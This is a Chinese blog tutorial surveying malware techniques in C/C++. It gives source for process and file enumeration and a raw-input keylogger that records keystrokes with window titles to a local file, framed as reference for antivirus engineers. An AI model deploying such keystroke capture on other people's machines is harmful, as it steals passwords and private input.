百度360必应搜狗淘宝本站头条
当前位置:网站首页 > IT知识 > 正文

C/C++恶意代码盘点(一):进程遍历丨木马病毒丨密码记录

liuian 2025-07-07 20:10 76 浏览

恶意代码的分类包括计算机病毒、蠕虫、木马、后门、Rootkit、流氓软件、间谍软件、广告软件、僵尸(bot) 、Exploit等等,有些技术经常用到,有的也是必然用到。

恶意代码常见功能技术如下:进程遍历,文件遍历,按键记录,后门,桌面截屏,文件监控,自删除,U盘监控。知己知彼,百战不殆。这里旨在给反病毒工程师提供参照。病毒作者请绕过。

进程遍历

进程遍历获取计算机上所有进程的信息(用户进程,系统进程),通常是为了检索受害进程,检测是否运行在虚拟机中,以及是否存在杀软等,有时候反调试技术也会检测进程名。所以在恶意代码中进程遍历很常见。

具体流程:

1、调用CreateToolhelp32Snapshot获取所有进程的快照信息之所以称为快照是因为保存的是之前的信息,该函数返回进程快照句柄。

2、调用Process32First获取第一个进程的信息,返回的进程信息保存在PROCESSENTRY32结构体中,该函数的第一个参数是CreateToolhelp32Snapshot返回的快照句柄。

3、循环调用Process32Next从进程列表中获取下一个进程的信息,直到Process32Next函数返回FALSE,GetLastError的错误码为ERROR_NO_MORE_FILES,则遍历结束。

4、关闭快照句柄并释放资源

遍历线程和进程模块的步骤和上面的相似,线程遍历使用Thread32First和Thread32Next,模块遍历使用Module32First和Module32Next。

源码实现:

#include "EnumInfo.h"


void ShowError(char *lpszText)
{
    char szErr[MAX_PATH] = {0};
    ::wsprintf(szErr, "%s Error[%d]\n", lpszText, ::GetLastError());
#ifdef _DEBUG
    ::MessageBox(NULL, szErr, "ERROR", MB_OK);
#endif
}


BOOL EnumProcess()
{
    PROCESSENTRY32 pe32 = { 0 };
    pe32.dwSize = sizeof(PROCESSENTRY32);
    // 获取全部进程快照
    HANDLE hProcessSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (INVALID_HANDLE_VALUE == hProcessSnap)
    {
        ShowError("CreateToolhelp32Snapshot");
        return FALSE;
    }

    // 获取快照中第一条信息
    BOOL bRet = ::Process32First(hProcessSnap, &pe32);
    while (bRet)
    {
        // 显示 Process ID
        printf("[%d]\t", pe32.th32ProcessID);

        // 显示 进程名称
        printf("[%s]\n", pe32.szExeFile);

        // 获取快照中下一条信息
        bRet = ::Process32Next(hProcessSnap, &pe32);
    }

    // 关闭句柄
    ::CloseHandle(hProcessSnap);

    return TRUE;
}


BOOL EnumThread()
{
    THREADENTRY32 te32 = { 0 };
    te32.dwSize = sizeof(THREADENTRY32);
    // 获取全部线程快照
    HANDLE hThreadSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (INVALID_HANDLE_VALUE == hThreadSnap)
    {
        ShowError("CreateToolhelp32Snapshot");
        return FALSE;
    }

    // 获取快照中第一条信息
    BOOL bRet = ::Thread32First(hThreadSnap, &te32);
    while (bRet)
    {
        // 显示 Owner Process ID
        printf("[%d]\t", te32.th32OwnerProcessID);

        // 显示 Thread ID
        printf("[%d]\n", te32.th32ThreadID);

        // 获取快照中下一条信息
        bRet = ::Thread32Next(hThreadSnap, &te32);
    }

    // 关闭句柄
    ::CloseHandle(hThreadSnap);

    return TRUE;
}


BOOL EnumProcessModule(DWORD dwProcessId)
{
    MODULEENTRY32 me32 = { 0 };
    me32.dwSize = sizeof(MODULEENTRY32);
    // 获取指定进程全部模块的快照
    HANDLE hModuleSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessId);
    if (INVALID_HANDLE_VALUE == hModuleSnap)
    {
        ShowError("CreateToolhelp32Snapshot");
        return FALSE;
    }

    // 获取快照中第一条信息
    BOOL bRet = ::Module32First(hModuleSnap, &me32);
    while (bRet)
    {
        // 显示 Process ID
        printf("[%d]\t", me32.th32ProcessID);

        // 显示 模块加载基址
        printf("[0x%p]\t", me32.modBaseAddr);

        // 显示 模块名称
        printf("[%s]\n", me32.szModule);

        // 获取快照中下一条信息
        bRet = ::Module32Next(hModuleSnap, &me32);
    }

    // 关闭句柄
    ::CloseHandle(hModuleSnap);

    return TRUE;
}


文件遍历

文件操作几乎是所有恶意代码必备的功能,木马病毒窃取机密文件然后开一个隐秘端口,(之前在kali渗透群看到有人提问如何识别木马,其实有一个简单的方法,几乎所有的木马都要与攻击者的主机通信的,查看打开了哪些奇怪的端口是一种方法)。

就算是再R0下,也经常会创建写入读取文件,文件功能经常用到。文件搜索功能主要是通过调用FindFirstFile和FindNextFile来实现。

具体流程

1、调用FindFirstFile函数,该函数接收文件路径,第二个参数指向WIN32_FIND_DATA结构的指针。若函数成功则返回搜索句柄。该结构包含文件的名称,创建日期,属性,大小等信息。

该返回结构中的成员dwFileAttributes为FILE_ATTRIBUTE_DIRECTORY时表示返回的是一个目录,否则为文件,根据cFileName获取搜索到的文件名称。如果需要重新对目录下的所有子目录文件都再次进行搜索的话,则需要对文件属性进行判断。若文件属性是目录,则继续递归搜索,搜索其目录下的目录和文件。

2、调用FindNextFile搜索下一个文件,根据返回值判断是否搜索到文件,若没有则说明文件遍历结束。

3、搜索完毕后,调用FindClose函数关闭搜索句柄,释放资源缓冲区资源。

源码实现:


#include "stdafx.h"
#include "FileSearch.h"


void SearchFile(char *pszDirectory)
{
    // 搜索指定类型文件
    DWORD dwBufferSize = 2048;
    char *pszFileName = NULL;
    char *pTempSrc = NULL;
    WIN32_FIND_DATA FileData = {0};
    BOOL bRet = FALSE;

    // 申请动态内存
    pszFileName = new char[dwBufferSize];
    pTempSrc = new char[dwBufferSize];

    // 构造搜索文件类型字符串, *.*表示搜索所有文件类型
    ::wsprintf(pszFileName, "%s\\*.*", pszDirectory);

    // 搜索第一个文件
    HANDLE hFile = ::FindFirstFile(pszFileName, &FileData);
    if (INVALID_HANDLE_VALUE != hFile)
    {
        do
        {
            // 要过滤掉 当前目录"." 和 上一层目录"..", 否则会不断进入死循环遍历
            if ('.' == FileData.cFileName[0])
            {
                continue; 
            }
            // 拼接文件路径   
            ::wsprintf(pTempSrc, "%s\\%s", pszDirectory, FileData.cFileName);
            // 判断是否是目录还是文件
            if (FileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)       
            {
                // 目录, 则继续往下递归遍历文件
                SearchFile(pTempSrc);
            }
            else                                                           
            {
                // 文件
                printf("%s\n", pTempSrc);
            }

            // 搜索下一个文件
        } while (::FindNextFile(hFile, &FileData));
    }

    // 关闭文件句柄
    ::FindClose(hFile);
    // 释放内存
    delete []pTempSrc;
    pTempSrc = NULL;
    delete []pszFileName;
    pszFileName = NULL;
}


按键记录

收集用户的所有按键信息,分辨出哪些类似于账号,密码等关键信息进行利用,窃取密码,这里用原始输入模型直接从输入设备上获取数据,记录按键信息。

要想接收设备原始输入WM_INPUT消息,应用程序必须首先使用RegisterRawInputDevice注册原始输入设备,因为在默认情况下,应用程序不接受原始输入。

具体流程

1、注册原始输入设备

一个应用程序必须首先创建一个RAWINPUTDEVICE结构,这个结构表明它所希望接受设备的类别,再调用RegisterRawInputDevices注册该原始输入设备。将RAWINPUTDEVICE结构体成员dwFlags的值设置为RIDEV_INPUTSINK,即使程序不处于聚焦窗口,程序依然可以接收原始输入。

2、获取原始输入数据

消息过程中调用GetInputRawData获取设备原始输入数据。在WM_INPUT消息处理函数中,参数lParam存储着原始输入的句柄。此时可以直接调用

GetInputRawData函数,根据句柄获取RAWINPUT原始输入结构体的数据。

dwType表示原始输入的类型,RIM_TYPEKEYBOARD表示是键盘的原始输入,Message表示相应的窗口消息。WM_KEYBOARD表示普通按键消息,WM_SYSKEYDOWN表示系统按键消息,VKey存储键盘按键数据。

3、保存按键信息

GetForegroundWindow获取按键窗口的标题,然后调用GetWindowText根据窗口句柄获取标题,存储到本地文件。

源码实现:


#include "RawInputTest.h"
#include "VirtualKeyToAscii.h"


void ShowError(char *pszText)
{
    char szErr[MAX_PATH] = { 0 };
    ::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
    ::MessageBox(NULL, szErr, "ERROR", MB_OK);
}


// 注册原始输入设备
BOOL Init(HWND hWnd)
{
    // 设置 RAWINPUTDEVICE 结构体信息
    RAWINPUTDEVICE rawinputDevice = { 0 };
    rawinputDevice.usUsagePage = 0x01;
    rawinputDevice.usUsage = 0x06;
    rawinputDevice.dwFlags = RIDEV_INPUTSINK;
    rawinputDevice.hwndTarget = hWnd;
    // 注册原始输入设备
    BOOL bRet = ::RegisterRawInputDevices(&rawinputDevice, 1, sizeof(rawinputDevice));
    if (FALSE == bRet)
    {
        ShowError("RegisterRawInputDevices");
        return FALSE;
    }

    return TRUE;
}


// 获取原始输入数据
BOOL GetData(LPARAM lParam)
{
    RAWINPUT rawinputData = { 0 };
    UINT uiSize = sizeof(rawinputData);

    // 获取原始输入数据的大小
    ::GetRawInputData((HRAWINPUT)lParam, RID_INPUT, &rawinputData, &uiSize, sizeof(RAWINPUTHEADER));
    if (RIM_TYPEKEYBOARD == rawinputData.header.dwType)
    {
        // WM_KEYDOWN --> 普通按键    WM_SYSKEYDOWN --> 系统按键(指的是ALT) 
        if ((WM_KEYDOWN == rawinputData.data.keyboard.Message) ||
            (WM_SYSKEYDOWN == rawinputData.data.keyboard.Message))
        {
            // 记录按键
            SaveKey(rawinputData.data.keyboard.VKey);
        }
    }
    return TRUE;
}


// 保存按键信息
void SaveKey(USHORT usVKey)
{
    char szKey[MAX_PATH] = { 0 };
    char szTitle[MAX_PATH] = { 0 };
    char szText[MAX_PATH] = { 0 };
    FILE *fp = NULL;
    // 获取顶层窗口
    HWND hForegroundWnd = ::GetForegroundWindow();
    // 获取顶层窗口标题
    ::GetWindowText(hForegroundWnd, szTitle, 256);
    // 将虚拟键码转换成对应的ASCII
    ::lstrcpy(szKey, GetKeyName(usVKey));
    // 构造按键记录信息字符串
    ::wsprintf(szText, "[%s] %s\r\n", szTitle, szKey);
    // 打开文件写入按键记录数据
    ::fopen_s(&fp, "keylog.txt", "a+");
    if (NULL == fp)
    {
        ShowError("fopen_s");
        return;
    }
    ::fwrite(szText, (1 + ::lstrlen(szText)), 1, fp);
    ::fclose(fp);
}


恶意代码的存在不是由于黑客之类的手段,主要还是我们开发过程中很多情况会用到这样的技术,所以大家请利用技术做正确的事情!

另外,对于编程学习的小伙伴,如果你想更好的提升你的编程核心能力(内功)不妨从现在开始!

编程学习书籍分享:

编程学习视频分享:

整理分享(多年学习的源码、项目实战视频、项目笔记,基础入门教程)

欢迎转行和学习编程的伙伴,利用更多的资料学习成长比自己琢磨更快哦!

对于C/C++感兴趣可以关注小编在后台私信我:【编程交流】一起来学习哦!可以领取一些C/C++的项目学习视频资料哦!已经设置好了关键词自动回复,自动领取就好了!

相关推荐

win10自带分区工具(win10官方分区工具)

Win10自带的分区工具是磁盘管理器,可以用来创建、删除、格式化和调整磁盘分区。下面是使用磁盘管理器分区的步骤:1.打开磁盘管理器。您可以在Windows10搜索栏中输入“磁盘管理器”来快速打开。...

appstore正版下载软件(apple store下载正版)

不会,他是正版的,因为只有ios系统可以用,但他里面的好游戏都是要收费的,所以打架都要越狱,去其它地方下载,不去商店的在安卓上,GooglePlayStore是类似于苹果的AppStore一...

手机锁屏密码键盘没了(手机输入密码的键盘没了怎么办)

如果手机锁屏密码的键盘找不到,首先要确认是否是由于软件问题导致的。可以尝试重启手机或者清理手机缓存来解决。如果问题仍然存在,可以尝试更换输入法或者恢复手机出厂设置来解决。如果以上方法都没有效果,建议联...

移动硬盘跟固态硬盘的区别(移动硬盘跟固态硬盘的区别是什么)

一:移动硬盘移动硬盘是指以传统机械磁盘作为存储介质,用于计算机之间交换大容量数据,讲究移动便携性的存储产品。优点:具有容量大、价格便宜的特点,方便存储大量文件数据。(推荐学习:web前端视频教程)缺...

windows怎么截图快捷键(windows截图快捷键没反应)

1、按Prtsc键截图这样获取的是整个电脑屏幕的内容,按Prtsc键后,可以直接打开画图工具,接粘贴使用。也可以粘贴在QQ聊天框或者Word文档中,之后再选择保存即可。2、按Ctrl+Prtsc键截图...

显示器分辨率有哪几种(显示器屏幕分辨率都有哪些)

目前使用较多的显示器分辨率有640*480,800*600,1024*768,1280*1024四种。刷新率,这主要是指显示器显示画面每秒刷新的次数,现在的电脑显示屏刷新率一般为75Hz,如果刷新率在...

小马激活工具网址(小马激活工具是什么东西)
  • 小马激活工具网址(小马激活工具是什么东西)
  • 小马激活工具网址(小马激活工具是什么东西)
  • 小马激活工具网址(小马激活工具是什么东西)
  • 小马激活工具网址(小马激活工具是什么东西)
windows7激活工具 知乎(win7激活工具怎么使用教程)

Win7激活工具有很多,比如kms激活工具、小马激活工具、Windowsloader等。下面以这三款激活工具为例,做一个简单的比较。1、kms激活工具,相对比较稳定,通用性强,对各种gho、iso镜...

英伟达高端显卡排行(英伟达最高级显卡)

具体的排名如下:1、NVIDIAGeForceRTX30902、NVIDIAGeForceRTX3080Ti3、NVIDIAQuadroRTXA60004、NVIDIAGeFor...

苹果电脑为啥不能玩游戏(买苹果电脑的十大忠告)

1、MacBook本身就不是用来玩游戏的,是用来轻度办公的,只有集成显卡没有独立显卡,玩游戏也会非常卡。2、MacOS系统虽然支持steam软件,但是里面的游戏并不支持MacOS,况且本身支持MacO...

笔记本电脑显卡驱动怎么安装

使用驱动精灵或者驱动之家搜索驱动,下载后会自动安装驱动的。您好,以下是安装MacBook独立显卡驱动的步骤:1.打开“应用程序”,找到“实用工具”文件夹,打开“终端”。2.在终端窗口中输入以下命令...

家庭wifi已连接不可上网(家里wifi已连接不可用是什么原因)

WiFi已连接不可上网原因和解决方法一、路由器不稳定有些无线路由器、光猫(宽带猫)的质量比较差,长时间运行后会出现死机等一系列的问题。解决办法:把你家里的无线路由器、光猫(宽带猫)断电,等待几分钟,然...

win10专业版在哪下(win10专业版在哪下载)

1.登陆MicroSoft官方网站会员中心,https://insider.windows.com/?lc=1033,点击“登陆”。2.使用hotmail邮箱或者开发者帐号登陆即可。3.选择“获...

中国杀毒软件十大排名(杀毒软件十大排名电脑有哪些)

第一名:火绒安全软件免费下载优点:口碑最好、安静、轻巧、界面简洁、无广告弹窗、无捆绑其他软件、占用内存少。缺点:我杀毒不行、不要紧张,我防毒也不行。第二名:腾讯电脑管家免费下载优点:我从良了...

gpt分区安装win7ghost(gpt分区安装win7系统详细方法)

1、进入pe系统中,双击打开“分区工具”工具;2、右键选择硬盘(一般带有SSD字样),点击“快速分区”;3、分区表类型选择“GUID”即gpt,然后设置分区数目为自动,接着设置系统盘大小,建议5...